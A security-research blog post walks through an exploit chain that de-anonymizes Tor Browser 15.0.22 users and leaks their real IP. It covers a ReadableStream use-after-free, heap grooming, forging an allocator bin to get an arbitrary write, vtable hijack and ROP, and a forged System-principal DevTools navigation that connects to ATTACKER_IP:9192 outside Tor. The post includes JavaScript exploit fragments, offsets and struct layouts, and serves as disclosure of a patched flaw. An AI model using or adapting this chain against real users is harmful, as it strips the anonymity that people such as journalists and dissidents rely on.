De-anonymize Tor Browser to reveal the real IP
Contents #
This research is part of OpenAI's Patch the Planet program.
When we think about anonymity and security on the internet, as well as the dark web, one of the first things that come to mind is Tor, this great network of nodes that helps us navigate more safely through the most remote corners of the internet.
In this article, we show how a malicious website can overcome the defenses of Tor Browser (15.0.22, default settings) to de-anonymize the user and leak their real IP.
Tor Browser concept #
Tor Browser distributes a modified and hardened version of Firefox ESR together with the Tor daemon, which runs as a separate process.
A simplified architecture of the platform:
When we visit a normal website through Tor, the website sees the IP address of the exit relay instead of ours. With an .onion service, things work a little differently. Our browser and the service communicate through a shared Tor relay (called a rendezvous point) without revealing their IP addresses to each other. In both cases anonymity depends on the browser not opening a separate connection outside Tor. The final stage of this exploit violates that application boundary.
Having laid the foundations, let's go with the first phase of the exploit.
Exploit Chain #
The phases of the exploit are as follows:
- The victim opens the page and clicks once to create the same-origin popup. A bug in BYOB (bring your own buffer ) handling between the two windows leaves a usable view over freed memory. It is exploited first with 64 MiB to find the base address of
libxuland then with 512 MiB to control a UAF region and obtain its base address. - The allocator is manipulated to overwrite a pointer. A fake object/
vtableis installed, andconsole.error()starts ROP in the renderer. - ROP forges a history entry with System principal and asks the parent to reload it.
- De-anonymization: the privileged DevTools page opens a direct socket,
accept()reveals the public source IP address of the connection that bypasses Tor.
First Phase: UAF ReadableStream on Gecko/Firefox (CVE-2026-92027)
Before going into the bug, let's start at the beginning, the attacker's infrastructure.
The attacker has a website as simple as this:
The exploit requires the user to click "Launch proof". As we can see in the following image, Tor Browser prevents the automatic execution of popups from websites as a security measure.
You may be wondering: why are two windows needed? Great question! This is going to be key when triggering the UAF.
The attacker uses the main page (the opener) and another page that opens as a popup. Both arrive through Tor and belong to the same origin. As we said before, the two windows have the same origin; therefore, they can call each other, but they are two different JavaScript realms.
The opener's task in this initial phase is to create the streams, preserve the views and analyze the memory. The popup provides the buffers, keeps the BYOB reads, and creates the allocations with which the memory will be reused.
Before continuing, BYOB is a reading mode in which the consumer provides the memory where the producer should write. In a normal read, the stream creates or delivers its own block of data. With BYOB, the reader offers an already prepared Uint8Array for the producer to fill directly, avoiding another allocation and copy. Gecko coordinates that memory through the reader, a pending descriptor and controller.byobRequest.view. When the producer finishes, it indicates how many bytes it wrote through respond(). The exploit deliberately omits that response to keep the read and its memory state pending.
The communication begins like this:
victim -> opens the opener through Tor
victim -> clicks the full-window link
popup -> host.register(self)
host is the name the popup uses to refer to the opener. child is the name the opener uses to refer to the popup. They are ordinary variables, not special browser functions.
The popup creates a large Uint8Array called victim. In the first pass it is 64 MiB, in the second 512 MiB. It then requests a byte ReadableStream from the opener and creates a BYOB reader:
popup -> creates victim
popup -> host.makeStream(i)
opener -> creates ReadableStream({type: "bytes", pull(controller) {...}})
opener -> returns the stream to the popup
popup -> creates ReadableStreamBYOBReader(stream)
popup -> reader.read(victim)
Opener:
...
function makeStream(i) {let s=new ReadableStream({type:'bytes',pull(c){
let req=c.byobRequest;if(req&&!bads[i]){controllers[i]=c;bads[i]=req.view;
if(bads.filter(Boolean).length===count)
{document.title='BAD:'+count+':'+bads[0].length;child.start()}
}}});streams[i]=s;return s}
...
Popup:
...
const count=128;
js
async function setup(){for(let i=0;i<count;i++){
for(let j=0;j<3;j++)anchors.push(new ArrayBuffer(0));
let victim=i===0&&mode==='native'?new Uint8Array(await new Blob([new
ArrayBuffer(0x04000000)]).arrayBuffer()):new Uint8Array(i===0&&mode.endsWith('blob')?
0x50000000:i===0?0x20000000:size);
let r=new
ReadableStreamBYOBReader(host.makeStream(i));readers.push(r);r.read(victim).catch(()=>{});
}}
setup();
...
The last command (popup -> reader.read(victim)) is the one that connects both realms. victim and its buffer belong to the popup, but the reader is associated with the stream/controller created in the opener. When processing the read, Gecko passes that buffer to the controller's algorithm through a CCW, which acts as a representative of the real object.
popup: reader.read(victim)
-> opener stream controller
-> TransferArrayBuffer(original buffer wrapper)
-> PullIntoDescriptor(replacement buffer)
TransferArrayBuffer() crosses the wrapper, takes the backing store from the original buffer, detaches that object and creates another ArrayBuffer that receives the same bytes:
before: original popup buffer -> backing store
after: original buffer detached replacement buffer -> backing store
PullIntoDescriptor preserves the replacement buffer while the read is pending. The CCW and the transfer do not yet constitute the flaw by themselves; they prepare an ownership state between realms that the following operation will expose through a view.
When the read remains pending, Gecko executes the stream's pull(controller) function. Since that function was created in the opener, the callback runs there:
Gecko -> executes pull(controller) in the opener
opener -> reads controller.byobRequest
opener -> stores controller.byobRequest.view in bads[i]
Opener:
...
function makeStream(i) {let s=new ReadableStream({type:'bytes',pull(c){
let req=c.byobRequest;if(req&&!bads[i]){controllers[i]=c;bads[i]=req.view;
if(bads.filter(Boolean).length===count)
{document.title='BAD:'+count+':'+bads[0].length;child.start()}
}}});streams[i]=s;return s}
...
Gecko obtains the replacement buffer from PullIntoDescriptor, creates a new Uint8Array over it and stores it as ReadableStreamBYOBRequest.mView. .view returns that object to the page's code. This is the view that the opener will preserve even after invalidating the read.
The only function of bads[] is to preserve the views after the BYOB request disappears.
The view allows access to the bytes through indexes. The native pointer remains hidden inside SpiderMonkey.
JavaScript can execute bads[i][100], but cannot directly print an .address property.
The first stream contains the only memory that matters to preserve as UAF:
stream 0 -> view of 64 or 512 MiB
The 128 streams? (in popup)
...
const count=128;
js
async function setup(){for(let i=0;i<count;i++){
...
The exploit repeats this operation with 128 streams. The first stream uses the huge buffer and the other 127 stabilize the distribution of wrappers, descriptors and objects during collection.
The 127 create small copies of the same topology.
stream -> controller -> PullIntoDescriptor -> BYOBRequest -> wrapper/view
When the opener has stored the 128 views, the release begins:
opener -> child.start()
popup -> host.release()
opener -> child.watch(bads[0].buffer)
opener -> controllers[i].error(new Error("release"))
opener -> removes streams[] and controllers[]
opener -> child.afterRelease()
popup -> removes readers[]
When they are all put into error simultaneously, Gecko clears many similar descriptors, wrappers and objects in the same cycle. That reduces variations in order and timing during GC and increases the probability that the large buffer is freed and its interval reused in the expected way.
Popup:
...
function start(){if(started)return;started=true;setTimeout(()=>host.release(),100)}
function watch(obj){weak=new WeakRef(obj);registry.register(obj,1)}
function afterRelease(){readers=[];new Image().src='https://calif.io/stream-popup-stage?v=released';let
round=0,extra=0,seekRound=0;
...
Opener:
...
if(bads.filter(Boolean).length===count)
{document.title='BAD:'+count+':'+bads[0].length;child.start()}
js
function release(){
let watched=bads[0].buffer;child.watch(watched);watched=null;
for(let i=0;i<count;i++){try{controllers[i].error(new Error('release'))}catch(e){}}
controllers=[];streams=[];document.title='RELEASED';child.afterRelease()
}
...
controller.error() puts the stream into error and makes Gecko invalidate the pending read. The internal code removes the controller and the view from the BYOB request and deletes the PullIntoDescriptor s. Emptying streams[], controllers[] and readers[] removes the other JavaScript references.
NOTE: Removing references does not immediately release memory. It makes the objects eligible for GC. The popup creates waves of small objects and uses timers so that collection, pending tasks and finalization run.
The correct behavior would be this: if bads[i] preserves the view, the backing store should remain alive; or, if Gecko needs to release it, it should detach the view, set its length to zero, and only then release the memory. However...
Gecko loses the correct owner of the backing store; therefore, GC releases the allocation, and bads[i] preserves the old pointer and length.
Ladies and gentlemen, we have the UAF. This would be the procedure for both UAFs we are going to make.
Basically, the opener creates the stream and the popup creates the 64 MiB buffer in the first phase or 512 MiB in the second (now we will see why). The popup gives that buffer to a BYOB read. Gecko transfers its backing store and executes pull(controller) in the opener, which preserves controller.byobRequest.view in bads[]. After that, the opener puts the controllers into error and removes streams and controllers, the popup removes the readers and when forcing GC, the bug makes it possible to release and reuse the backing store even though the saved view still works in bads[]. That view is the one left as UAF.
UAF: Get libxul base
The first pass uses the UAF to discover where libxul is loaded during this execution. For this, the allocation that we mentioned before of 64 MiB is made:
popup -> creates 64 MiB victim
opener/popup -> create the UAF
popup -> creates 24,000 Blob-backed allocations
opener -> examines the first 64 KiB of the old view
Popup: create 64 MiB victim
...
let victim=i===0&&mode==='native'?new Uint8Array(await new Blob([new
ArrayBuffer(0x04000000)]).arrayBuffer()):new Uint8Array(i===0&&mode.endsWith('blob')?
0x50000000:i===0?0x20000000:size);
...
Popup/opener: create the UAF
...
let r=new
ReadableStreamBYOBReader(host.makeStream(i));readers.push(r);r.read(victim).catch(()=>{});
js
let req=c.byobRequest;if(req&&!bads[i]){controllers[i]=c;bads[i]=req.view;
js
function release(){
let watched=bads[0].buffer;child.watch(watched);watched=null;
for(let i=0;i<count;i++){try{controllers[i].error(new Error('release'))}catch(e){}}
controllers=[];streams=[];document.title='RELEASED';child.afterRelease()
}
function afterRelease(){readers=[];new Image().src='https://calif.io/stream-popup-stage?v=released';let
round=0,extra=0,seekRound=0;
...
Popup: create the 24,000 Blob-backed allocations
...
if(mode==='native'){let ps=[];for(let j=0;j<500;j++){let i=fakes.length+j,v=new
Uint8Array(96);v[0]=0xd2;v[1]=i&255;v[2]=(i>>8)&255;v[3]=(i>>16)&255;v[4]=0x4b;let o=new
Blob([v]);blobs.push(o);ps.push(o.arrayBuffer())}for(let b of await
Promise.all(ps))fakes.push(b)}
...
Each allocation carries a marker and follows the Uint8Array -> Blob -> Blob.arrayBuffer() route. Gecko creates C++ objects to process it, and those objects contain pointers to vtables located inside libxul. The exploit keeps the allocations alive so that one of them appears in the interval previously occupied by the 64 MiB buffer.
Opener: examine the first 64 KiB
...
function leakNativePointers(limit=65536){let v=bads[oobState.hit],out=[];for(let p=0;p<limit-
8;p+=8){let q=get64(v,p),lo=q&0xfffffn;if(lo===0xcd990n||
lo===0xcdd50n)out.push({p,q:'0x'+q.toString(16),libxul:'0x'+(q-(lo===0xcd990n?
0x91cd990n:0x91cdd50n)).toString(16)})}return out.slice(0,40)}
...
The UAF view interprets memory in eight-byte blocks and looks for a pointer whose ending is 0xcd990 or 0xcdd50. Those endings and their full offsets were previously identified in the exact binary. ASLR changes the libxul base, but not the internal positions of its vtables.
The calculation is (real example):
leaked pointer: 0x7487d99cd990
vtable offset: 0x91cd990
----------------
libxul base: 0x7487d0800000
If it does not find the pointer, it reuses the popup and repeats this phase. When it finds it, it saves nativeBase and begins the 512 MiB pass for the UAF region.
UAF: Get UAF region base
With this UAF we intend to obtain a 512 MiB observation range to have many controlled objects and know their absolute address.
opener -> navigates the same popup to bootstrap2
popup -> creates 512 MiB victim
opener/popup -> create another UAF
popup -> creates 240,000 marked 97-byte ArrayBuffers
opener -> searches for markers using the old view
opener -> child.checkFake(id, 5)
The popup creates the 512 MiB victim and repeats the BYOB sequence already explained
...
let victim=new Uint8Array(i===0?0x20000000:size);
let r=new ReadableStreamBYOBReader(host.makeStream(i));
readers.push(r);r.read(victim).catch(()=>{});
...
It then creates 5,000 buffers per round for 48 rounds. fakeBytes is 97 and the first five bytes store a signature and an ID:
...
let i=fakes.length,b=new ArrayBuffer(fakeBytes),v=new Uint8Array(b);
v[0]=0xc1;v[1]=i&255;v[2]=(i>>8)&255;
v[3]=(i>>16)&255;v[4]=0x1c;fakes.push(b);
...
The opener searches for that signature through the UAF view, extracts the ID and proves that it can modify the corresponding live buffer:
...
let id=start[1]|(start[2]<<8)|(start[3]<<16);
bads[hit][anchor+5]=0x6d;
let inside=child.checkFake(id,5);
...
The 97-byte buffers are rounded to native 112-byte slots. Each contains a marker with its ID and remains live in fakes[]. The 240,000 allocations increase the probability that several complete runs appear inside the old 512 MiB interval. A run (arena_run_t) is a 4 KiB page that mozjemalloc internally creates or reuses to group allocations of the same class. In this case each run contains 36 112-byte backing stores, corresponding to the ArrayBuffer(97) (64 header bytes + 36 slots × 112 bytes = 4096 bytes = 4 KiB per run).
This would be the arena_run_t structure:
+0x00 mRunListElem.next
+0x08 mRunListElem.prev
+0x10 mBin
+0x18 mRegionsMinElement / mNumFree
+0x20 allocation bitmap
+0x40 first controlled 112-byte region
+0xb0 next controlled region
When the UAF view finds a marker, it decodes its ID and writes 0x6d. If the popup reads 109 from fakes[id], it confirms that the old view and the new buffer reach the same bytes. It then writes 0x7d to another marker; reading 125 from another fake demonstrates access between different allocations.
The exploit locates the headers of those runs by looking for a header followed by two markers separated by 112 bytes. It releases a buffer from the first run and another from the second. The allocator links them as second -> first, storing the absolute native address of the first in the second. Since the view already knows the relative offset of the first, it can calculate it.
initial state ((run A) and (run B) inside the 512 MiB UAF region)
(run A) -> all its slots occupied (36/36)
(run B) -> all its slots occupied (36/36)
php
popup -> releases a fake from (run A) through ArrayBuffer.transfer(0) (35/36)
allocator -> (run A) goes from full to available (35/36)
bin.head -> (run A)
php
popup -> releases a fake from (run B) through ArrayBuffer.transfer(0) (35/36)
allocator -> (run B) goes from full to available (35/36)
bin.head -> (run B)
B.next -> (run A)
mRegionsMask -> indicates which B slot became free
After B.next -> A, the exploit simply reads B.next and obtains the address of A (the run, not the ArrayBuffer). The only thing it has to do is subtract A's offset, and it obtains the UAF region base address.
Example:
first run offset, hs[0] = 0x1a840
absolute pointer read, h1 = 0x7f4a2c11a840
base = 0x7f4a2c11a840 - 0x1a840
base = 0x7f4a2c100000
The equivalent operation in the exploit is:
let h1 = get64(v, hs[1]);
let base = h1 - BigInt(hs[0]);
Therefore, bads[hit][0] corresponds to native address 0x7f4a2c100000. An object found at offset 0x1b000 will be at 0x7f4a2c100000 + 0x1b000 = 0x7f4a2c11b000.
Another example: if the first run appears at hs[0] = 0x1e80 and the absolute pointer read from the second run is h1 = 0x7bbb85505000, the exploit obtains heapBase = 0x7bbb85505000 - 0x1e80 = 0x7bbb85503180 (this is the UAF region base address corresponding to view[0] not the base of the entire heap). From then on, it converts any offset p in the view into a native address through heapBase + p.
Now as attackers we have the libxul base address, the absolute address of the controlled region, and several reachable runs. But we still need to move from heap-limited writing to a qword write over a target in libxul.
NOTE: we need 3 runs in the 512 MiB range, 2 to obtain the UAF region base address as we have seen, and the other one will be explained below.
Second Phase: UAF to ROP
With the current UAF, we have free writing throughout the 512 MiB range, but our objective is a pointer inside libxul, TARGET = libxulBase + 0x9578ee0. This address contains the global pointer with which the renderer accesses its observer service. In this section we will see how to overwrite it to replace it with a fake object.
(Completing a full Firefox compromise would require an additional way to execute our code in the parent process. Our ROP chain still runs under Tor Browser’s level-6 Linux content sandbox. The history forgery lets us trigger privileged navigation and the DevTools connection, but it does not establish arbitrary memory access or code execution in the parent.)
The reason for that particular pointer is that there is a path reachable from JavaScript that uses it. console.error() reaches the logging system and publishes a notification through the observer service. If we end up overwriting it, it allows the gadget we want to finally be called, thus corrupting the execution flow.
As we said before, three runs are needed, the first two for the UAF region address and the third (which we will call H) will be used for the corruption.
For this phase we will again review the arena_run_t structure:
+0x00 mRunListElem.next
+0x08 mRunListElem.prev
+0x10 mBin
+0x18 mRegionsMinElement / mNumFree
+0x20 allocation bitmap
+0x40 first controlled 112-byte region
+0xb0 next controlled region
Its header contains mBin, a pointer to the real bin that manages its slots.
A bin (arena_bin_t) is the "administrative record" that mozjemalloc maintains for a size class. There is a 112-byte bin that stores the size of its slots, records that each run has 36 slots starting at offset 64 (bytes), and keeps a list of the runs that still have room. The bin does not contain the buffers, all runs of that class share its information by pointing to it from the mBin field in their header.
run A.mBin (used in 512MiB region leak) ─┐
run B.mBin (used in 512MiB region leak) ─┼─> 112-byte bin -> list of available runs
run H.mBin ( memory corruption ) ─┘
The structure would be the following:
struct arena_bin_t {
DoublyLinkedList<arena_run_t> mNonFullRuns; // +0x00: head, +0x08: tail
size_t mSizeClass; // +0x10
uint32_t mRunNumRegions; // +0x18
uint32_t mRunNumRegionsMask; // +0x1c
uint32_t mRunFirstRegionOffset; // +0x20
uint32_t mNumRuns; // +0x24
FastDivisor<uint16_t> mSizeDivisor; // +0x28
uint8_t mRunSizePages; // +0x2a
};
When a buffer from H is released, the allocator consults H.mBin to know which list that run should be inserted into.
That is why we create a false bin for the 112-byte allocation class:
| Offset | Forged value | Function |
|---|---|---|
+0x00 |
TARGET - 8 |
Fake non-full-run-list head and arbitrary-write destination |
+0x08 |
0 |
List tail (initially zero, so pushFront() replaces it with the address of H) |
+0x10 |
112 |
Allocation size class |
+0x18 |
36 |
Regions per run (unused because the fake head is non-null) |
+0x1c |
2 |
Number of allocation-bitmap words |
+0x20 |
64 |
Offset from the run header to its first region |
+0x24 |
0 |
Run counter (not used in the selected one-free branch) |
+0x28 |
0x0493 |
Fast-division multiplier for division by 112 |
+0x2a |
1 |
Number of 4 KiB pages in a 112-byte-class run |
The code would be:
...
for (let i = 0; i < 48; i++) v[f + i] = 0;
put64(v, f, TARGET - 8n);
put64(v, f + 16, 112n);
v[f + 24] = 36;
v[f + 28] = 2;
v[f + 32] = 64;
v[f + 40] = 0x93;
v[f + 41] = 0x04;
v[f + 42] = 1;
...
Basically, the address of the false bin (FA) is written in the mBin field of H (this being at 36/36). Now, in the false bin, in the head (0x00) we put TARGET-8, so that when we release an ArrayBuffer from H (35/36), Gecko uses H's mBin and has to put it in the false bin, and writes the address of H in the prev field located at TARGET, thus making *TARGET = H.
That is:
H: 36/36 slots occupied
H.mBin = address of FA
FA.head = TARGET - 8
php
one H slot is released
-> H becomes 35/36
-> Gecko consults H.mBin and obtains FA
-> tries to insert H in front of FA.head
-> interprets TARGET-8 as a run
-> writes the address of H in its prev field
-> that field is at TARGET-8+8
-> *TARGET = address of H (address of the controlled real run)
This would be the code on the Popup side to release the fake:
...
function freeFake(i){
if(!(i>=0&&i<fakes.length)||!fakes[i])return false;
let b=fakes[i];
fakes[i]=null;
let z=b.transfer(0);
return b.byteLength===0&&z.byteLength===0
}
...
Modifying H to a false object
The TARGET pointer directs the observer service toward H. We then overwrite H as if it were a valid C++ object whose first qword points to a fake vtable created in another area under our control, which contains gadget addresses (in this case, from the particular version of libxul).
TARGET -> H, fake object
H[0] -> V, fake vtable
V[...] -> stack pivot gadget
RS -> qwords of the ROP chain
The popup calls console.error(). The logging path publishes a notification through the observer service. Gecko reads the global pointer from TARGET, receives H and makes a virtual call:
...
function triggerLog(){
console.error('native-stdio-trigger');
return true
}
...
popup -> console.error()
Gecko -> consults TARGET
TARGET -> H
Gecko -> reads H's V vtable
Gecko -> executes the chosen gadget
gadget -> moves RSP to RS (stack pivot)
renderer -> starts the ROP chain
The unexploited form would be:
console.error()
-> Gecko needs to publish the message
-> obtains the legitimate observer service from TARGET
-> reads its vtable
-> calls NotifyObservers()
But fortunately or unfortunately...
- Gecko enters from JavaScript into C++ code to record the error.
- It reads
*TARGET, expecting to obtain the observer service, but obtainsH. - To call its virtual method, it reads the first eight bytes of
Hand obtains the address ofV, the fake vtable. - It looks in
Vfor the address of the method it wants to execute, but that entry contains the address of the gadget. - That gadget changes RSP , the pointer to the current stack, so that it points toRS .
RS is an area of the controlled heap containing addresses placed by the exploit.
Third Phase: ROP forges the parent's history
After having done the stack pivot each ret takes the address of the next gadget from RS. The chain uses gadgets to prepare the x86-64 registers and call native functions already present in libxul. In this way it can create internal Gecko objects that a JavaScript page could never request.
The target is a SessionHistoryInfo, the record used to restore a navigation:
URI = about:devtools-toolbox?type=process&host=ATTACKER_IP&port=9192
principal = System
sharedId = new
BrowsingContext = that of the same popup
The System principal is Firefox's internal identity with the highest authority. ROP first saves its original stack pointer, converts the URI and text/html into native strings, obtains an nsIURI, assembles the System principal, and finds its popup's BrowsingContext by following the current global and inner window.
Each letter is printed with a native write(2) to indicate how far execution got:
| Marker | Operation completed before or around the marker |
|---|---|
| A | The original stack pointer was saved and ROP control was established. |
| B | The attacker URI bytes were converted to Gecko's native string. |
| C | The native text/html content type was built. |
| D | NS_NewURI returned annsIURI for the privileged DevTools address. |
| E | The System principal and SessionHistoryInfo were assembled. |
| F/G | The global, inner window and BrowsingContext were followed; the target was copied into the message. |
| H | SendReplaceActiveSessionHistoryEntry returned. |
| I | SendHistoryReload returned. |
The last two are normal IPDL messages. The first replaces the active popup entry with the prepared record, the second asks the parent process to reload it.
The flaw is that the parent treats the message content as state, when part of it represents authority. It rejects javascript:, but accepts the principal and URI supplied for a new sharedId, then only checks that the BrowsingContext exists. Thus, the parent installs the forged entry in its canonical history and reloads about:devtools-toolbox with System principal.
Before finishing, the chain replaces the dangerous entries in the fake vtable with return gadgets and restores the RSP that it saved at the beginning. The renderer can continue while the message is already being processed by the parent. ROP has not been executed in the parent; it has made the parent perform a legitimate navigation using false authority.
Fourth Phase: Revealing the IP
The forged URI is also the instruction for the last phase. The about:devtools-toolbox module turns it into a packaged DevTools page, assigns the System principal to its channel, allows scripts and does not force it to load in an ordinary content process. That is why the reload accepted in phase 3 ends in privileged code.
When starting, the page directly reads host and port from its URI:
const host = params.get("host");
const port = params.get("port");
if (port)
transport = await DevToolsClient.socketConnect({host, port, webSocket});
The transport ends up calling nsISocketTransportService.createTransport(). It does not create a content HTTP channel and does not receive the SOCKS configuration used to send web traffic to the Tor daemon. The parent directly establishes the TCP handshake with the attacker's listener
System history -> about:devtools-toolbox
DevTools -> socketConnect(ATTACKER_IP, 9192)
parent -> direct TCP socket
listener -> accept() -> public source IP address of the connection that bypasses Tor
The server does not need to authenticate DevTools or respond to its protocol. When accept() returns the connection, the TCP handshake has already delivered the public source IP address of the connection that bypasses Tor, whether it is the device's direct public IP address or a VPN/NAT address, while the original page requests continue to show a Tor exit address.
PoC #
And what would a blog be without its corresponding PoC?
Conclusions #
The whole point of Tor Browser is to hide the user's IP address, so leaking that address undoes the protection that routing through the network provides. The browser is one layer of defense, not a guarantee on its own. For stronger anonymity, pair Tor Browser with hardened setups such as dedicated devices and careful operational habits.
And this has been the exploit! It worked for Tor Browser 15.0.22, and it was patched in 15.0.23. I hope you enjoyed reading it as much as I enjoyed debugging it, thank you very much for your attention.
About Calif
We push offensive security research to its limits, understand what is becoming possible with AI, and use those insights to help our customers defend themselves.
Get in touch, and subscribe to our newsletter for more research like this:
Check your inbox to confirm.